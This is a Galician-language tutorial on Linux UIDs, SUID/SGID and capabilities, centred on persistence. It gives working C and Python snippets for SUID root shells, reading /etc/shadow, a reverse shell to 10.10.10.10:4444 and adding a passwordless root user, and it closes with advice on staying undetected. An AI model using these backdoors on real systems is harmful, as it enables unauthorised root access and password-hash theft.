UIDs, Syscalls e Wrappers de Persistencia
1. Identificadores de Proceso e Identidade
Linux non usa o teu nome de usuario para comprobar permisos, senón unha serie de identificadores numéricos (IDs) gardados na estrutura de credenciais do proceso no kernel.
| Tipo | Descrición | Uso | Onde se garda? |
|---|---|---|---|
| Real UID/GID | O usuario/grupo que iniciou o proceso | Identifica quen é realmente o propietario do proceso. | Estrutura task_struct do kernel (campo uid/gid) |
| Effective UID/GID | O usuario/grupo usado para comprobacións de permisos xerais | Determina a maioría de comprobacións de acceso (sinais, capacidades). | Estrutura task_struct do kernel (campo euid/egid) |
| Saved UID/GID | Copia de seguridade do Effective UID/GID orixinal | Permite alternar entre privilexios sen perder o UID/GID elevado. | Estrutura task_struct do kernel (campo suid/sgid) |
| Filesystem UID/GID | O usuario/grupo usado para comprobacións de disco | Determina os permisos ao acceder ao sistema de ficheiros (ler/escribir). | Estrutura task_struct do kernel (campo fsuid/fsgid) |
Concepto de FSUID e FSGID
O FSUID (Filesystem UID) e o FSGID (Filesystem GID) son identificadores específicos de Linux. Na maioría dos casos, o FUID coincide co EUID.
- Orixe: Foron creados para permitir que servidores de ficheiros (como NFS) poidan actuar en nome dun usuario para acceder a ficheiros sen permitir que ese servidor lle envíe sinais (como
kill) ao usuario que está a ser suplantado. - Uso: O kernel utiliza o FUID/FGID para comprobar permisos de lectura, escritura e execución exclusivamente no sistema de ficheiros.
Exercicios de Recoñecemento
Exercicio 1: Observar os IDs da túa Shell
Uid: 1000 1000 1000 1000Gid: 1000 1000 1000 1000 ^ ^ ^ ^ | | | | Real Effective Saved Filesystem
Exercicio 2: O bit SUID no mundo real (passwd e /etc/shadow)
1. Comproba o ficheiro: ls -l /etc/shadow (Vulnerable se o grupo é shadow).
2. Comproba o binario: ls -l /usr/bin/passwd (Verás o bit s).
3. Ver o proceso vivo:
- Abre passwd nun terminal.
- Noutro busca o PID e mira os UIDs/GIDs:
$ ps aux | grep [p]asswd ; PID=$(pgrep passwd) ; echo ${PID}
$ cat /proc/${PID}/status | grep -E 'Uid|Gid'
Uid: 1000 0 0 0
Gid: 1000 1000 1000 1000
^ ^ ^ ^
| | | |
Real Effective Saved Filesystem
2. A Caixa de Ferramentas: Syscalls e Administración
A. Funcións de C e Syscalls (<unistd.h>)
setuid(0): Pon RUID, EUID e FUID a 0.setreuid(0, 0)/setregid(gid, gid): Forza a igualdade entre IDs reais e efectivos.execl(): Substitúe o proceso sen lanzar unha shell intermedia (máis seguro e evita bloqueos).
B. Comandos de Administración
gcc -o binario fonte.c: Compilar.sudo chown usuario:grupo binario: Cambiar propietario/grupo.sudo chmod 4755 binario: Activar SUID (4).sudo chmod 2755 binario: Activar SGID (2).
3. O Dilema: system() vs Intérpretes vs exec()
Por que system() adoita fallar?
/bin/sh (Bash/Dash) resetea os privilexios se RUID != EUID.
- Solución: Usar setuid(0) antes ou usar o flag -p (bash -p).
A opción -p de Bash (Privileged Mode)
Executar /bin/bash -p impide que Bash renuncie ao UID efectivo.
4. Casos Prácticos de Persistencia
Entendendo os Includes en C
| Include | Función |
|---|---|
#include <stdio.h> |
printf(), perror(). |
#include <stdlib.h> |
system(). |
#include <unistd.h> |
setuid(), getuid(), execl(). |
#define _GNU_SOURCE |
Habilita setregid(). Debe ser a liña 1. |
Caso 1: Wrapper SUID para Root Shell (C)
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main() {
setuid(0);
setgid(0);
execl("/bin/bash", "bash", "-p", NULL);
return 0;
}
gcc -o root_shell root_shell.c
sudo chown root:root root_shell
sudo chmod 4755 root_shell
./root_shell
# Resultado: id -> uid=0(root) gid=0(root)
Caso 2: Wrapper SGID para acceso ao Grupo shadow
Para que funcione, usamos execl e o binario debe pertencer ao grupo shadow.
#define _GNU_SOURCE
#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>
int main() {
gid_t gid = getegid(); // Obtén o GID do grupo 'shadow'
setregid(gid, gid); // Iguala Real e Efectivo
printf("[+] Lendo shadow con GID: %d...\n", getgid());
// Usamos execl para evitar que /bin/sh bloquee o acceso
execl("/bin/cat", "cat", "/etc/shadow", NULL);
perror("Erro en execl");
return 1;
}
gcc -o read_shadow read_shadow.c
sudo chown root:shadow read_shadow # IMPORTANTÍSIMO: grupo shadow
sudo chmod 2755 read_shadow # Activa SGID
./read_shadow
# Resultado: mostra o contido de /etc/shadow
Caso 3: Reverse Shell Root
#include <unistd.h>
#include <stdlib.h>
int main() {
setuid(0);
setgid(0);
system("bash -c 'bash -i >& /dev/tcp/10.10.10.10/4444 0>&1'");
return 0;
}
gcc -o rev_shell rev_shell.c
sudo chown root:root rev_shell
sudo chmod 4755 rev_shell
# Nunha terminal: nc -lvnp 4444
# Noutra: ./rev_shell
Caso 4: Intérpretes (Python/Perl/Ruby)
Se o intérprete ten o bit SUID:
-
Python:
-
Perl:
-
Ruby:
5. Linux Capabilities: Alternativa Moderna aos SUID
Tradicionalmente, en Linux, a seguridade era binaria: ou eras un usuario normal sen privilexios ou eras root con control total. As Capabilities permiten dividir o poder de root en pequenos fragmentos de privilexios específicos.
Isto é extremadamente útil para persistencia, xa que permite que un binario realice tarefas de root sen necesidade de activar o bit SUID nin de ser propiedade de root.
Capabilities Comúns para Escalada e Persistencia:
cap_setuid: Permite que un proceso cambie o seu UID de forma arbitraria.cap_setgid: Permite que un proceso cambie o seu GID.cap_dac_override: Ignora as comprobacións de permisos de lectura, escritura e execución de ficheiros (podes ler calquera ficheiro do sistema).cap_sys_admin: A "capability" máis potente; permite realizar tarefas administrativas (mount, configuración de rede, etc.).
Comandos de Xestión:
- Ver capabilities dun ficheiro:
getcap /ruta/do/binario - Asignar capabilities:
sudo setcap cap_setuid+ep /ruta/do/binario - Eliminar capabilities:
sudo setcap -r /ruta/do/binario
Exemplos Prácticos:
A. cap_setuid (Cambiar UID)
Permite que un proceso cambie o seu UID de forma arbitraria.
- Exemplo: Converter un intérprete de Python nunha ferramenta para obter root shell.
sudo cp $(which python3) ./py_setuid
sudo setcap cap_setuid+ep ./py_setuid
# Uso: o proceso cambia a UID 0 e lanza bash
./py_setuid -c 'import os; os.setuid(0); os.system("/bin/bash -p")'
B. cap_setgid (Cambiar GID)
Permite que un proceso cambie o seu GID. É útil para acceder a ficheiros protexidos por grupos específicos (como shadow).
- Exemplo: Acceder aos hashes de contrasinais sen ser root, asumindo o grupo shadow.
sudo cp $(which python3) ./py_setgid
sudo setcap cap_setgid+ep ./py_setgid
# Uso: asumimos GID 42 (habitual de shadow) para ler o ficheiro
./py_setgid -c 'import os; os.setregid(42, 42); os.system("cat /etc/shadow")'
C. cap_dac_override (Ignorar Permisos)
Ignora as comprobacións de permisos de lectura, escritura e execución (DAC - Discretionary Access Control). Podes ler ou escribir en calquera ficheiro do sistema, independentemente de quen sexa o dono.
- Exemplo: Ler /etc/shadow directamente ou modificar /etc/passwd para engadir un usuario.
sudo cp $(which python3) ./py_dac
sudo setcap cap_dac_override+ep ./py_dac
# Uso: ler un ficheiro que só root pode ver
./py_dac -c 'print(open("/etc/shadow").read())'
# Uso: engadir unha liña a /etc/passwd (moi perigoso)
./py_dac -c 'open("/etc/passwd", "a").write("hacker::0:0:hacker:/root:/bin/bash\n")'
D. cap_sys_admin (O "Pequeno Root")
A capability máis potente. Permite realizar unha enorme variedade de tarefas administrativas, como montar sistemas de ficheiros, configurar a rede ou cambiar o nome do host.
- Exemplo: Cambiar o nome da máquina en RAM
A syscallsethostnamecambia o nome na memoria do sistema, pero non no ficheiro de configuración.sudo cp $(which python3) ./py_sysadmin sudo setcap cap_sys_admin+ep ./py_sysadmin # Uso: cambiar o hostname do sistema a través do módulo socket ./py_sysadmin -c 'import socket; socket.sethostname("pwned-machine")' # Verifica con: hostname (na RAM cambiou o nome do equipo pero /etc/hostname segue anterior ao cambio)
Cambio Volátil vs Persistente
Lembra que cap_sys_admin permite modificar o comportamento do sistema en execución (RAM), mentres que para que un cambio sobreviva a un reinicio, normalmente necesitarás cap_dac_override para modificar os ficheiros de configuración en disco.
- Exemplo: Montar un disco para manipular datos.
sudo cp $(which python3) ./py_sysadmin sudo setcap cap_sys_admin+ep ./py_sysadmin # Uso: montar un sistema de ficheiros tmpfs sobre un directorio restrinxido # Como Python non ten os.mount, usamos ctypes para falar coa librería de C do sistema (libc). # Exemplo para un tmpfs de 100MB ./py_sysadmin -c 'import ctypes; ctypes.CDLL("libc.so.6").mount(b"none", b"/mnt", b"tmpfs", 0, b"size=100M")'
tmpfs
- Que é tmpfs?: Como indica o seu nome (temporary file system), é un sistema de ficheiros que reside enteiramente na memoria RAM (e no swap se fose necesario). Non escribe nada no disco físico.
- O límite do 50%: Por defecto, cando montas un tmpfs sen especificar un tamaño máximo, o kernel de Linux asígnalle un límite teórico do 50% da memoria RAM total do sistema.
- Non "rouba" a RAM: O sistema só usará a RAM real a medida que vaias metendo ficheiros dentro de /mnt. Se o cartafol está baleiro, o consumo de RAM é practicamente cero.
- Velocidade extrema: Ao traballar directamente en RAM, a lectura e escritura en /mnt será moito máis rápida que en calquera outra parte do disco.
- Volatilidade: No momento en que reinicies a máquina ou desmontes o cartafol (sudo umount /mnt), todo o que houbera dentro desaparecerá para sempre, xa que a RAM bórrase ao perder a corrente.
6. Resumo de Seguridade
- Detección de SUID:
find / -perm -4000 -type f 2>/dev/null. - Detección de Capabilities:
getcap -r / 2>/dev/null. - Prevención: Montar
/homee/tmpconnosuid(que tamén bloquea o uso de capabilities en binarios desas particións en moitos sistemas modernos). - A Regra de Ouro: Se usas
system(), executasetuid(0)antes. Se queres evitar restricións da shell ou ser indetectable, usaexecve(), intérpretes ou, se tes oportunidade, asigna Capabilities a binarios discretos.